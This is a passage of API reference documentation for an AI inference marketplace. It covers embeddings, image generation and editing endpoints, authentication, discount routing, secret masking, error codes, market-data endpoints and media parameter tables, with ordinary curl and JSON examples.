**Errors.** A malformed request is a `400` whose `error.param` names the field. A body that mixes the two formats (`state` with an array of questions, or `input` / `safety_identifier` with a map) is `400 decisions_dialect_mismatch`. An OpenAI-format request for a model whose sellers accept only the JEV format is `400 decisions_format_unsupported`. A request the seller refuses because it contains invalid Unicode text (for example an unpaired surrogate) is `400 invalid_request`: it is not retried on another seller, and sending it again unchanged fails the same way, so replace those characters first. ## Pricing `gpt-6-luna` decisions list at **$0.10 per 1M input tokens**; output tokens are free. The provider adds a fixed overhead per request and per question, so even a short request bills a few hundred input tokens. --- # /docs/api-reference/embeddings # Embeddings POST /v1/embeddings > **Scope notes.** `/v1/embeddings` does not have a `/min{N}` minimum-discount mirror, and secret masking is not applied on this route (`x-si-secret-masking: not_applied`). OpenAI-compatible text embeddings routed to the cheapest healthy seller for the model. See [Media Capabilities and Contracts](https://www.surplusintelligence.ai/docs/api-reference/media-capabilities.generated) for canonical parameter rules and response headers. ## Request **Auth:** API key (`Authorization: Bearer inf_***`), or pay-per-request via x402 (`PAYMENT-SIGNATURE`). With no auth, the endpoint returns `402` advertising x402. See [Buyer endpoints](https://www.surplusintelligence.ai/docs/api-reference/buyer-endpoints). - `model` (string, required): Embedding model ID, e.g. `venice-embed-1`. Query `GET /v1/models?type=embedding` for the live catalog - `input` (string | string\[], required): Single text string or array of strings to embed - `encoding_format` (string): `float` (default) or `base64` - `dimensions` (integer): Optional output vector dimensionality when supported by the model - `provider` (string | string\[]): Optional provider pin (see [Routing Controls](https://www.surplusintelligence.ai/docs/marketplace/routing-controls)) - `providers_blocked` (string | string\[]): Providers excluded from routing Response headers include unconditional `X-Request-Id` and `X-SI-Model-Alias` (when an alias resolves), sync-only `X-SI-Adapted-Params` (when params are adapted or stripped), and mutually exclusive rollout-gated headers `X-SI-Resolved-Params` (`MEDIA_STANDARDIZATION_MODE=enforce` only) or `X-SI-Deprecation` (`MEDIA_STANDARDIZATION_MODE=shadow` only for unknown/unhonored params). **POST /v1/embeddings** **cURL** ```bash curl https://api.surplusintelligence.ai/v1/embeddings \ -H "Authorization: Bearer inf_***" \ -H "Content-Type: application/json" \ -d '{ "model": "venice-embed-1", "input": ["Surplus Intelligence inference marketplace"], "encoding_format": "float" }' ``` **Response** ```json { "object": "list", "data": [ { "object": "embedding", "index": 0, "embedding": [0.0023, -0.0091, 0.0154] } ], "model": "venice-embed-1", "usage": { "prompt_tokens": 6, "total_tokens": 6 } } ``` ## Pricing and Metering Embeddings are token-metered (`$/1M` tokens × winning seller discount) and settled in USDC microdollars (1 USD = 1,000,000 microdollars). When the provider reports `usage.prompt_tokens` (or `usage.total_tokens`), billing reconciles against reported usage within the sanity floor; otherwise billing uses the request token estimate. ## Errors | Status | Code | When | | ------ | ------------------------------------------------------------------------- | ------------------------------------------------------------------------- | | `400` | `invalid_request` | Malformed request body or missing `model`/`input` | | `400` | `unsupported_parameter` | Unknown parameter key sent for the embeddings modality | | `402` | `insufficient_credit` / `insufficient_balance` / `insufficient_allowance` | Account balance cannot cover the request | | `404` | `model_not_found` | Model ID is not in the catalog | | `404` | `no_sellers_for_model` | No listed seller serves this model on this endpoint | | `502` | `provider_error` | Upstream provider failed after healthy failover candidates were exhausted | | `503` | `sellers_unavailable` / `no_healthy_sellers` | No candidate seller is currently healthy or available (retryable) | --- # /docs/api-reference/image-generations # Image Generations POST /v1/images/generations > **Minimum-discount routing:** Prefix the path with a `min{N}` segment (e.g. `/min30/v1/images/generations`) to require marketplace seller offers to meet a minimum estimated buyer discount before routing. Buyer-owned providers are not covered. See [Minimum-Discount Routing](https://www.surplusintelligence.ai/docs/marketplace/minimum-discount-routing). OpenAI-compatible image generation via the marketplace. One synchronous request returns the image(s); the marketplace routes to the cheapest healthy seller for the model and settles USDC to that seller. The marketplace also supports **image-to-image editing** via `POST /v1/images/edits` - or this same endpoint when the body carries a source image. See [Image-to-Image](https://www.surplusintelligence.ai/docs/api-reference/image-generations#image-to-image-editing) below. > **Generating an image is not the same as showing one to a model.** To have a text model *look at* an image you already have, send an image content part to `/v1/chat/completions` instead. See [Media Inputs](https://www.surplusintelligence.ai/docs/guides/media-inputs). ## Request **Auth:** API key (`Authorization: Bearer inf_***`), or pay-per-request via x402 (`PAYMENT-SIGNATURE`). With no auth, the endpoint returns `402` advertising x402. See [Buyer endpoints](https://www.surplusintelligence.ai/docs/api-reference/buyer-endpoints). - `model` (string, required): Model ID, e.g. `venice-z-image-turbo`, `seedream-4.5`, `venice-flux-2-pro`, `gpt-5.4-image-2`. Query `GET /v1/models?type=image` for the live catalog - `prompt` (string, required): Text prompt (default ceiling: 4,000 characters unless overridden by the model contract) - `operation` (string): `generate` or `edit`. Inferred as `edit` automatically when source images are included or called via `/v1/images/edits` - `n` (integer): Number of images (default 1). Token-metered models served over the chat wire return a single image - `size` (string): e.g. `1024x1024` (or `auto`). Drives per-megapixel billing and the per-token output estimate - `aspect_ratio` (string): Model-declared aspect ratio such as `1:1`, `16:9`, `9:16` (defaults to `1:1` when ratios are declared and `size` is omitted) - `resolution` (string): `1K`, `2K`, or `4K`. Selects the pricing tier for resolution-tiered models; when omitted, the tier is derived from `size` - `quality` (string): e.g. `low`, `medium`, `high`. Drives the per-token output estimate or quality-tiered image price - `output_format` (string): Image file format (`png`, `jpeg`, `webp`) when supported by the model - `response_format` (string): `b64_json` (default) or `url` Response headers include unconditional `X-Request-Id` and `X-SI-Model-Alias` (when an alias resolves), sync-only `X-SI-Adapted-Params` (when aliases translate or unsupported knobs are stripped), and mutually exclusive rollout-gated headers `X-SI-Resolved-Params` (`MEDIA_STANDARDIZATION_MODE=enforce` only) or `X-SI-Deprecation` (`MEDIA_STANDARDIZATION_MODE=shadow` only for unknown/unhonored params). With `response_format=url`, items are `{ "url": "https://..." }`. See [Media Capabilities and Contracts](https://www.surplusintelligence.ai/docs/api-reference/media-capabilities.generated) for canonical limits and per-host matrix. **Response - 200 OK** ```json { "created": 1713200000, "data": [ { "b64_json": "iVBORw0KGgo..." } ] } ``` **Three metering units, one discount** - per token (some multimodal models) - per image (fixed price per output) - per megapixel (scales with resolution) Image models are not all priced the same way. Whichever unit applies, the seller's discount is applied to it identically - the unit changes, the arithmetic does not. ## Image-to-Image (editing) POST /v1/images/edits Edit an existing image with a text prompt. Send a JSON body with the source image(s) and an edit-capable model; the marketplace routes to the cheapest healthy seller that supports image input. You can also send an edit to `POST /v1/images/generations` - including a source image in the body runs the edit flow there too. The `min{N}` prefix works on both paths. **Auth:** same as generations - API key, or pay-per-request via x402. - `model` (string, required): An **edit-capable** model, e.g. `nano-banana-2-edit`, `qwen-image-2-edit`, `seedream-v4-edit`, `flux-2-max-edit` (most carry an `-edit` suffix). Query `/v1/models` for the live catalog - `prompt` (string, required): The edit instruction - `image` (string): Source image - an `https://` URL or a `data:` URI (e.g. `data:image/png;base64,...`). `image_url` is accepted as an alias. URLs are passed to the provider as-is; the marketplace never fetches them - `input_images` (array): Multiple source images. The **first** entry is the base (start) image; the rest are reference layers. Each entry is an `https`/`data:` URI string, or an object `{ "url": "...", "role": "start" | "reference" }`. Max 8 images per request - `images` (array): OpenAI-compatible source images, as the OpenAI SDKs send them on a JSON edit: entries of `{ "image_url": "..." }` or bare strings, each an `https://` URL or a `data:` URI. The **first** entry is the base image; the rest are reference layers. Max 8. `file_id` entries are not supported (`400 invalid_image_input` - pass `image_url`). When both `input_images` and `images` are sent, `input_images` is used `size`, `quality`, `resolution`, and `response_format` apply as on generations. Bare base64 (without the `data:` prefix) and `http://` URLs are rejected. **Masked edits (inpaint) are not supported yet** - sending a `mask`/`mask_url` returns `400 mask_not_supported`. **Response:** the standard image response (above). The default `b64_json` returns the edited image inline; `response_format: "url"` returns short-lived download URLs instead. Editing is synchronous and returns one edited image per request. **Single-image edit** ```bash curl https://api.surplusintelligence.ai/v1/images/edits \ -H "Authorization: Bearer inf_***" \ -H "Content-Type: application/json" \ -d '{ "model": "nano-banana-2-edit", "prompt": "make the sky a dramatic sunset", "image": "https://example.com/skyline.png" }' ``` **Multi-image edit (base + reference)** ```json { "model": "qwen-image-2-edit", "prompt": "apply the style of the second image to the first", "input_images": [ { "url": "https://example.com/photo.jpg", "role": "start" }, { "url": "https://example.com/style.jpg", "role": "reference" } ] } ``` **OpenAI SDK shape** ```json { "model": "gpt-image-2-edit", "prompt": "make the sky a dramatic sunset", "images": [{ "image_url": "https://example.com/skyline.png" }] } ``` ## Pricing - canonical price × discount Each image model has a **canonical reference price** (OpenRouter-first, then Venice, then the SI registry). A seller's offer is a **discount** off that canonical, and the marketplace routes to the deepest discount. You always pay the canonical × the winning offer's discount - never an arbitrary per-seller price. Canonical follows the model's native metering unit: | Unit | Models (examples) | Canonical | Buyer charge | | ----------------- | ------------------------------------ | --------------------- | ----------------------------------------- | | **per-token** | Nano Banana, GPT-image, Gemini image | `$/1M` input + output | `usage_tokens × canonical/1M × discount` | | **per-image** | Z-Image, SDXL, Seedream, Lustify, … | `$/image` | `canonical/image × n × discount` | | **per-megapixel** | FLUX.2 Pro/Max/Flex, Grok Imagine | `$/MP` | `canonical/MP × (w×h/1e6 × n) × discount` | - Per-token models bill on **actual usage** the provider reports; when a provider returns none (e.g. Venice serving a token-canonical model), usage is derived from `size`/`quality` so the buyer sees true per-1M pricing and the seller isn't underpaid. - Per-image and per-megapixel are **deterministic** from the request (`n`, `size`) - no provider usage needed. - **Image-to-image** bills the same way - the model's canonical price × the winning discount, per edited image (an edit returns one image). For models with resolution-tiered pricing, the rate follows the output resolution (`resolution`, or derived from `size`). - See the live canonical and effective discounts at [`/api/markets/:model`](https://www.surplusintelligence.ai/docs/api-reference/markets) and [`/v1/prices`](https://www.surplusintelligence.ai/docs/api-reference/prices): token-image models show `$/1M` input/output, diffusion models `$/image`, FLUX/Grok `$/MP`. All costs are USDC microdollars (1 USD = 1,000,000 microdollars), drawn from your balance per completed request. ## Errors | Status | Code | When | | ------ | -------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------- | | `400` | `invalid_request` | Bad JSON, malformed parameters, or `prompt` exceeding the character ceiling | | `400` | `unsupported_parameter` | Unknown parameter key sent for the image modality | | `400` | `unsupported_parameter_value` / `unsupported_provider_value` | Value outside the model domain or unhonored by all routable hosts | | `400` | `unsupported_image_count` | Requested `n` exceeds the model or routable host image-count limit | | `400` | `unsupported_image_size` / `unsupported_image_resolution` / `unsupported_image_aspect_ratio` | Requested `size`, `resolution`, or `aspect_ratio` is unsupported | | `400` | `too_many_input_images` / `invalid_image_input` / `image_required` / `mask_not_supported` | More than 8 source images, non-`https`/`data:` source (or `file_id`), missing edit source image, or unsupported `mask`/`mask_url` | | `402` | `insufficient_credit` / `insufficient_balance` / `insufficient_allowance` | Insufficient balance (API key), or payment required (no auth - x402 challenge) | | `404` | `model_not_found` / `no_sellers_for_model` / `minimum_discount_not_met` | Unknown model, no seller serving the model, or no seller meeting `/min{N}` | | `502` | `artifact_hosting_failed` | Generated image could not be hosted for URL delivery (zero buyer charge) | | `502` | `provider_error` | Upstream provider error after healthy failover candidates were exhausted | | `503` | `sellers_unavailable` / `no_healthy_sellers` | No candidate seller is currently healthy or available (retryable) | --- # /docs/api-reference/index # API Reference Base URL: `https://api.surplusintelligence.ai/v1` ## Authentication | Method | Use Case | Header | | -------------- | ------------------------------------- | -------------------------------- | | API key | Programmatic (Cursor, Aider, scripts) | `Authorization: Bearer inf_xxx` | | Session cookie | Web UI | Auto-set after Privy login | | x402 payment | Autonomous agents (USDC on Base) | `PAYMENT-SIGNATURE: ` | No auth header → returns HTTP 402 with x402 payment requirements. > **The dashboard is a pure client of this API.** Everything you can do in the web app, you can do here: managing keys, providers, offers, pricing, balances, savings, earnings, and payouts are all HTTP calls, no browser required. Most of it works with your API key (`inf_…` for buyers, `si_seller_…` for sellers); a few organization, treasury, and admin surfaces are session or management-key gated. See the buyer and seller reference pages below. - API key - inf\_… or si\_seller\_… - Session cookie - the web app - x402 - the payment IS the credential - X-Job-Token - one media job only → **One router, one order book**: the rail you arrived on does not change routing ✕ **No credential**: returns 402 with payment requirements, not 401 Send no credential at all and you get a 402 describing how to pay. Send one that no rail accepts and you get a 401 - the difference matters when you are debugging. ## Inference (OpenAI-compatible) - [POST /v1/chat/completions](https://www.surplusintelligence.ai/docs/api-reference/chat-completions): Chat completions (streaming + non-streaming). - [POST /v1/responses](https://www.surplusintelligence.ai/docs/api-reference/responses): Responses API-compatible text endpoint for Codex and Responses clients. - [POST /anthropic/v1/messages](https://www.surplusintelligence.ai/docs/api-reference/messages): Anthropic Messages API ("Anthropic skin") for Claude Code / the Anthropic SDK. - [POST /v1/completions](https://www.surplusintelligence.ai/docs/api-reference/completions): Legacy completions. - [GET /v1/models](https://www.surplusintelligence.ai/docs/api-reference/models): Live model catalog; use the endpoint for current counts. - [POST /v1/images/generations](https://www.surplusintelligence.ai/docs/api-reference/image-generations): Image generation; canonical-price × discount (per-token / per-image / per-megapixel). - [POST /v1/video/generations](https://www.surplusintelligence.ai/docs/api-reference/video-generations): Async video generation (submit → poll → settle). - [POST /v1/music/generations](https://www.surplusintelligence.ai/docs/api-reference/music-generations): Async music generation (submit → poll → settle). - [POST /v1/audio/\*](https://www.surplusintelligence.ai/docs/api-reference/audio): Text-to-speech (`/v1/audio/speech`) and speech-to-text transcriptions (`/v1/audio/transcriptions`). - [POST /v1/embeddings](https://www.surplusintelligence.ai/docs/api-reference/embeddings): Text embeddings, metered per million tokens. - [Media capabilities](https://www.surplusintelligence.ai/docs/api-reference/media-capabilities.generated): Generated canonical media parameters, input limits, host capability matrix, and error taxonomy. - [Adapter policy contracts](https://www.surplusintelligence.ai/docs/api-reference/adapter-policy-contract.generated): Generated media parameter, lifecycle-status, and Responses compatibility contracts. Also available: - `POST /v1/videos` (gated behind `MEDIA_OPENAI_VIDEOS_ALIAS_ENABLED`; returns `404 unknown_endpoint` until enabled) - OpenAI Videos API alias for async video jobs (`POST`, `GET`, `DELETE`, and `/content`) - see [Video Generations](https://www.surplusintelligence.ai/docs/api-reference/video-generations) - `POST /v1/decisions` - structured decisions: OpenAI's Decisions API (`input` + an array of `questions`), or the JEV format (`state` + a map of `questions`) - see [Decisions](https://www.surplusintelligence.ai/docs/api-reference/decisions) - `GET /v1/media/artifacts/:jobId/:index` - download a finished video/music artifact. Authenticated: send your API key or the job's `X-Job-Token`, and follow redirects - `GET /v1/providers`: the curated provider allowlist, with each provider's host and `trusted` flag, and `zdr` while [ZDR routing](https://www.surplusintelligence.ai/docs/marketplace/zero-data-retention) is available ([live JSON](https://api.surplusintelligence.ai/v1/providers)). `GET /api/providers` adds `zdr_evidence_url` and `zdr_reviewed_on` for each labelled provider, and `zdr_routing_available` ## Capability Lookups Three capabilities vary by model and must be looked up rather than assumed. - **Media input** (images, video, documents, audio sent *to* a model): [Media Inputs](https://www.surplusintelligence.ai/docs/guides/media-inputs). A separate surface from image/video generation. - **Reasoning effort**, including request shapes and marketplace adaptations: [Reasoning Controls](https://www.surplusintelligence.ai/docs/reference/reasoning). - **Provider identity and what is verified about it**: [Provider & Model Verification](https://www.surplusintelligence.ai/docs/marketplace/provider-verification). ## Minimum-discount routing Insert an optional `min{N}` segment (e.g. `/min30/v1/chat/completions`) to require marketplace seller offers to meet a minimum estimated buyer discount (`min0`–`min100`, no leading zeros) before routing. When otherwise-eligible healthy sellers miss the floor and no buyer-owned route applies, the request typically returns `404 minimum_discount_not_met` (including during temporary gaps such as floor-meeting sellers health-paused after upstream errors, where retrying with backoff can succeed); on eligible credit/on-chain text and decisions routes (when cooldown reporting is enabled), brief rate-limit cooldowns on floor-meeting supply may instead return `503 minimum_discount_supply_cooldown` with `Retry-After`, while full-unhealthy supply or other constraints return their own no-supply or refusal errors. The threshold applies to SI marketplace seller offers only - buyer-owned priority/fallback providers are not covered. Embeddings are out of scope in v1. See [Minimum-Discount Routing](https://www.surplusintelligence.ai/docs/marketplace/minimum-discount-routing). **Tool calling and Anthropic sellers:** Buyers always send OpenAI-format requests. For OpenAI-compatible sellers such as Venice, Bankr, OpenRouter, Together, Fireworks, Groq, Mistral, and DeepSeek, tool support depends on the upstream model and is advertised in `GET /v1/models` via `supported_parameters`. For native Anthropic sellers (`api.anthropic.com`), the router has OpenAI ⇄ Anthropic translation for text, vision, streaming, tool calls, assistant `tool_calls`, and `role: "tool"` result messages. That translation is implemented and covered by tests, but there are currently no active native Anthropic seller offers in production; Claude traffic is primarily served through OpenAI-compatible providers. Non-function computer/text-editor style tools are stripped, and models that do not advertise tool support have `tools`/`tool_choice` removed before forwarding. ## Secret masking (beta) An optional extra layer for prompts that may contain credentials. Send `X-SI-Mask-Secrets: on`, or set `mask_secrets: true` on a key or on the account, and API keys, private keys, seed phrases, passwords and tokens in a text request are replaced with placeholders before it is routed; every value is put back in the response, everywhere but the model's reasoning. It is off by default, covers `/v1/chat/completions`, `/v1/completions`, `/v1/responses`, `/anthropic/v1/messages` and `/v1/decisions` (with their `/min{N}` mirrors), and the Provider Market's text calls on `/v1/resources/{provider}/…` (chat completions, Responses, Messages and Decisions); embeddings, media and the Provider Market's other calls are sent as they are, without masking (`x-si-secret-masking: not_applied`). What is masked, what is put back and what that trusts: [Secret masking](https://www.surplusintelligence.ai/docs/guides/secret-masking). The header and the response headers: [Routing Controls](https://www.surplusintelligence.ai/docs/marketplace/routing-controls#x-si-mask-secrets--mask-secrets-in-this-request). A request that asks for masking fails closed: if masking is running and cannot be applied, it is refused and nothing is sent. While masking is paused on the service (`secret_masking_available: false`), a request that asks for it is sent without masking instead. The errors use the usual envelope; branch on `code`. | Status | Code | Meaning | | ------ | ------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------- | | 400 | `invalid_secret_masking_header` | `X-SI-Mask-Secrets` is not exactly `on` (or is repeated) | | 400 | `secret_masking_too_large` | more text, or more distinct secrets (2,000), than masking scans | | 400 | `secret_in_schema` | a secret in a schema `enum`, `const`, `pattern`, `default` or `examples` | | 400 | `secret_in_unmaskable_field` | a recognisable secret in a field masking cannot change (an id, a name, `model`, `user`, a signature, an object key) | | 409 | `secret_in_signed_reasoning` | a secret in signed reasoning from the current tool-use turn | | 500 | `secret_masking_failed` | masking could not be applied | | 500 | `secret_egress_blocked` | a detected secret was found in a body about to go upstream; it was not sent, and any reserve was released | | 503 | `secret_masking_unavailable` | the stored setting the request depends on could not be read, or the service cannot confirm right now whether masking is running (retryable) | Every one of these is raised before funds are reserved, except `secret_egress_blocked`, which stops an attempt that was already funded and releases the reserve. Some sellers accept only masked requests. When every seller for a request is one of them (after any `provider` pin) and the request is not masked, it is refused with `403 secret_masking_required` rather than `503 no_healthy_sellers`. It is not retryable as is: send `X-SI-Mask-Secrets: on`, or set `mask_secrets: true` on the key or the account. ## Error messages Errors use the usual envelope (`{"error": {"type", "code", "message", ...}, "request_id"}`, or `{"type": "error", "error": {"type", "message"}, "request_id"}` on `/anthropic`). Branch on `code`, never on `message`: every `message` ends with *Unusual bug? Email with request id … and a description of what happened, or open a ticket in Discord: *. If you pass error messages on to your own users (a gateway or a reseller setup), send `X-SI-Support-Hint: off` and that sentence is left out: the message reads as it would without the header, up to and not including *Unusual bug?*. Nothing else in the response changes, and the request id stays in `x-request-id` and `request_id`. The value is `off`, in any case; any other value, or no header, keeps the sentence. Browsers may send it (it passes CORS preflight). It applies to error responses only: the `error` inside a media job you poll (for example `GET /v1/video/generations/{id}`) or receive by webhook keeps the sentence, and so do the errors of `POST /api/x402/permit2/approve`. ## Page cursors Lists that come in pages return a `next_token`, which you pass back (as `cursor` or `next_token`) to read the next page: for example `GET /v1/requests`, `GET /v1/seller/earnings-history`, `GET /v1/seller/offers` and `GET /v1/seller/health-log`. A cursor that was changed, cut short or not issued by us is refused with `400 invalid_cursor` (on `GET /v1/requests` and `GET /v1/seller/earnings-history` the code can also be `invalid_telemetry_cursor`): start the list again without it. A cursor we could not read for a moment, which can happen briefly while we deploy, is a `503 cursor_unavailable`: retry the same request with the same cursor. ## Market Data (public, no auth) - [GET /api/markets](https://www.surplusintelligence.ai/docs/api-reference/markets): All models with best prices. - [GET /api/markets/:model](https://www.surplusintelligence.ai/docs/api-reference/markets): Single model order book. - [GET /api/markets/feed](https://www.surplusintelligence.ai/docs/api-reference/markets): Live transaction feed. - [GET /v1/prices](https://www.surplusintelligence.ai/docs/api-reference/prices): Price comparison matrix across all providers - the live JSON is at `/v1/prices`. ## Buyer Management - [Buyer endpoints](https://www.surplusintelligence.ai/docs/api-reference/buyer-endpoints): Keys + per-key routing preferences, balance, savings, usage export, BYOK providers. ## Seller Management - [Seller endpoints](https://www.surplusintelligence.ai/docs/api-reference/seller-endpoints): Keys, offers (full lifecycle), discovery + health probes, earnings, payouts. ## CORS All `/v1/*` inference endpoints include CORS headers for browser-based clients. Preflight `OPTIONS` requests are handled automatically. --- # /docs/api-reference/markets # Market Data Endpoints Public endpoints - no authentication required. ## All Models GET /api/markets All models with best prices, seller count, and volume. Returns: model name, best ask (input/output), number of active sellers, 24h volume, and `ttft_p50_ms` - the model's median time to first token over the trailing 24 hours, in milliseconds, across every provider and seller serving it (`ttft_samples` is the number of streamed requests behind it), `uptime_pct` - served requests over all attempts across those providers, same window - `cache_hit_rate_pct` - the share of the model's input tokens that were prompt-cache reads - and `tps_p50`, the model's median output tokens per second while streaming (`tps_samples` beside it). Each is `null`, not 0, when there is not enough data; render a null as unavailable. Discounts on offer right now, each a percentage to two decimals against the model's reference price: `best_live_discount_pct` is the deepest across the model's live offers, `median_live_discount_pct` the median taken per offer over the same offers, and `best_trusted_offer_discount_pct` the deepest among trusted-provider offers. A field is omitted when no qualifying offer has a reference price to compare against; treat that as unknown, never as 0. While [ZDR routing](https://www.surplusintelligence.ai/docs/marketplace/zero-data-retention) is available and the summary is published from the live provider policy, `best_zdr_offer_discount_pct` is the deepest among offers on providers labelled ZDR, and each entry of a model's `providers` carries `zdr`: `true` only when every routable offer in it is on a labelled provider. `best_discount_pct` is different: the deepest discount a fill actually got over 90 days. Each entry of a model's `providers` also carries `best_cache_read_per_1m` and `best_cache_write_per_1m`: that provider's cache read and write prices, taken from its cheapest live offer the same way as the model's own fields of that name. Each is `null` when that offer does not price it. For a video model priced by resolution, `media_price_by_resolution` (raw USD per generated second) or `media_job_price_by_resolution` (raw USD per job, whatever its length) lists every resolution's reference, with `media_durations_sec` when the catalog declares durations. A model carries at most one of the two tables; both are omitted when its price does not depend on resolution. See the model order book below. Cached for 30 seconds; the figures are precomputed every 15 minutes. **Request** ```bash curl https://api.surplusintelligence.ai/api/markets ``` - **Narrowing down**: /api/markets lists every model; /api/markets/:model opens one model's order book. The second is a zoom into the first. - **Watching it happen**: /api/markets/feed is a live feed of settlements across ALL models - a sibling view, not a zoom into any one book. ## Model Order Book GET /api/markets/:model Full order book for a specific model. Returns: every offer with its price, capacity remaining, health status, provider, and volume. Sorted cheapest-first. Offers carry no seller identity: `offers[].seller`, the seller's wallet, has been removed. `depth` carries the same live discounts as `/api/markets` (`best_live_discount_pct`, `median_live_discount_pct`, `best_trusted_offer_discount_pct`), over the offers available now. Each is `null` when no available offer has a reference price, never 0. While ZDR routing is available, `depth` also carries `best_zdr_offer_discount_pct` (omitted when no ZDR offer has a reference price) and each offer carries `zdr`. `realized_7d` is what buyers actually got: `discount_pct`, the request-weighted average discount over the 7 UTC days ending today, from `requests` eligible requests, with the week before as `prior_discount_pct` and `prior_requests`. `discount_trend_7d` is the best realized discount per 12 hours over the same 7 days (14 `buckets`, oldest first, each with `requests` and `best_discount_pct`), plus this week's `best_discount_pct` and last week's `prior_best_discount_pct`. Both objects are omitted until their precomputed figures exist; a `null` inside them means no figure for that period (no eligible requests, or not yet covered), not 0. `recent_fills[].route` names the provider route that served each fill (for example `Anthropic` or `Amazon Bedrock`), or `null` when the serving offer is no longer live. `recent_fills_as_of` is when the fills were computed, in epoch ms; `null` means nothing has been published for the model yet, so an empty `recent_fills` is missing data rather than no trades. **Video priced by resolution.** For such a model, `direct_price.media_unit_price` and `offers[].direct_media_unit_price` are one tier only: the default resolution's reference, else the cheapest tier. Every tier is in `direct_price.media_price_by_resolution` (`resolution`, `per_second_usd`: raw USD per generated second) for a model priced per second, or in `direct_price.media_job_price_by_resolution` (`resolution`, `per_job_usd`: raw USD per job, whatever its length) for a model priced flat per job. A model carries at most one of the two, and `direct_price.media_durations_sec` lists its supported durations in seconds when the catalog declares them. All three are omitted when the price does not depend on resolution (a flat rate, or a price set by duration). Each offer carries the same table at its multiplier (`offers[].media_price_by_resolution` or `offers[].media_job_price_by_resolution`): what a job on that offer pays when it settles on the reference. A job with a video input (upscale, video-to-video) does not settle on the reference; it settles on the provider's price. The tables are the catalog reference, which is what `/min{N}` compares against at each resolution. If the video reference were ever priced from live provider price cards instead, `/min{N}` would follow the card while these tables stay on the catalog, and `recent_fills[].resolution` would be omitted. `recent_fills[].resolution` is the resolution whose reference rate priced that fill's `direct_cost_usd`, matched when the fill was recorded. It is omitted for a fill not priced by resolution, when two resolutions share the rate, and when no resolution's rate reproduces the cost. `recent_fills[].duration_seconds` is the billed length of a fill metered in seconds (it equals `media_units`), and is omitted otherwise. **Request** ```bash curl https://api.surplusintelligence.ai/api/markets/claude-opus-4.6 ``` ## Transaction Feed GET /api/markets/feed Recent fills across ALL models in one request (newest first, up to 50). Each item: `id`, `model`, `input_tokens`, `output_tokens`, `cost_usd` (µ$ as a string), `created_at` (epoch ms) `route`, the provider route that served it (the same names as `recent_fills[].route` on `/api/markets/:model`, e.g. `Anthropic`), or `null` when the serving offer is no longer live, and `trusted`, whether that provider is trusted (`false` whenever `route` is `null`). Query parameter `trusted=true` returns only items with `trusted: true`. Omit it (or pass `false`) for the unfiltered feed; any other value is a 400. The cap applies before filtering, so a trusted-only response can hold fewer than 50 items. **Request** ```bash curl "https://api.surplusintelligence.ai/api/markets/feed?trusted=true" ``` **Response** ```json { "items": [ { "id": "req_01H...", "model": "claude-opus-4.6", "input_tokens": 1200, "output_tokens": 350, "cost_usd": "18450", "created_at": 1761930000000, "route": "Anthropic", "trusted": true } ] } ``` --- # /docs/api-reference/media-capabilities.generated # Media Capabilities and Contracts Canonical media request contracts, default input limits, per-host capability coverage, response headers, and verified error codes across all six non-text modalities (`image`, `video`, `music`, `tts`, `stt`, `embedding`). Generated directly from the runtime wire, catalog, and provider definitions; query [`GET /v1/models`](https://www.surplusintelligence.ai/docs/api-reference/models) with `?type=` or `?modality=` for live model availability, per-model `params`, `hosts`, and `pricing.tiers`. ## Modalities and Input Limits | Modality | Endpoint(s) | Canonical operations | Default input ceiling | Metering unit | | ----------- | ------------------------------------------------------------------------------------------------------------------------------------------------ | ------------------------------------------------------------------------------------------------------------------ | ---------------------------------------------- | -------------------------------------- | | `image` | `POST /v1/images/generations`, `POST /v1/images/edits` | `generate`, `edit` | 4,000 chars (`prompt`), max 8 input images | per token, per image, or per megapixel | | `video` | `POST /v1/video/generations`, `POST /v1/videos` (gated behind `MEDIA_OPENAI_VIDEOS_ALIAS_ENABLED`; returns `404 unknown_endpoint` until enabled) | `text-to-video`, `image-to-video`, `reference-to-video`, `first-last-frame`, `video-to-video`, `upscale`, `extend` | 2,000 chars (`prompt`), max 8 input images | per second, per clip, or per job | | `music` | `POST /v1/music/generations` | `music` | 2,000 chars (`prompt`) | per second, per clip, or per job | | `tts` | `POST /v1/audio/speech` | `tts` | 4,096 chars (`input`) | per 1K characters | | `stt` | `POST /v1/audio/transcriptions` | `stt` | 2,000 chars (`prompt`), max 25 MB audio upload | per minute | | `embedding` | `POST /v1/embeddings` | `embedding` | Model context window (`input`) | per 1M tokens | ## Canonical Request Parameters Permanent aliases are normalized before routing and reported in the `X-SI-Adapted-Params` header on sync endpoints or the `adapted_params` response body field on async media jobs (never in `X-SI-Deprecation`). Under standardization `enforce`, unknown keys fail closed with `400 unsupported_parameter` and defaults are resolved before quoting and routing. ### Image Supported operations: `generate`, `edit`. See [Image Generations](https://www.surplusintelligence.ai/docs/api-reference/image-generations). | Canonical parameter | Type | Accepted aliases | Default / notes | | ------------------- | --------- | --------------------------------------------- | ------------------------------------------------------------------------------------------------------------ | | `model` | `string` | - | Required. Model aliases resolve before routing (`X-SI-Model-Alias`). | | `prompt` | `string` | - | Required. Default max length: 4,000 chars unless overridden by model contract. | | `operation` | `string` | - | `generate` or `edit`; inferred as `edit` when a source image is present or called on `/v1/images/edits`. | | `n` | `integer` | - | Default `1`. Priced dimension for per-image and per-megapixel models. | | `size` | `string` | - | Pixel dimensions (`WIDTHxHEIGHT`) or `auto` (stripped on normalization). | | `aspect_ratio` | `string` | - | Model-declared ratio (e.g. `1:1`, `16:9`); defaults to `1:1` when ratios are declared and `size` is omitted. | | `resolution` | `string` | - | Tiered resolution (`1K`, `2K`, `4K`); case-normalized. | | `quality` | `string` | - | Quality tier (e.g. `low`, `medium`, `high`). | | `output_format` | `string` | - | Default `png` under enforce (`png`, `jpeg`, `webp` per model). | | `response_format` | `string` | - | `b64_json` (default) or `url`. | | `input_images` | `array` | `image`, `image_url`, `images`, `input_image` | `https://` URLs or `data:` URIs (max 8). | | `safe_mode` | `boolean` | `moderation` (`auto` / `low`) | Honored on supported image wires; stripped on wires without a safety knob. | ### Video Supported operations: `text-to-video`, `image-to-video`, `reference-to-video`, `first-last-frame`, `video-to-video`, `upscale`, `extend`. See [Video Generations](https://www.surplusintelligence.ai/docs/api-reference/video-generations). | Canonical parameter | Type | Accepted aliases | Default / notes | | ---------------------- | --------- | ---------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------- | | `model` | `string` | - | Required. Canonical or aliased video model ID. | | `prompt` | `string` | - | Required. Default max length: 2,000 chars unless overridden by model contract. | | `operation` | `string` | - | Inferred from inputs (`video_url`, `end_image_url`, `reference_image_urls`, 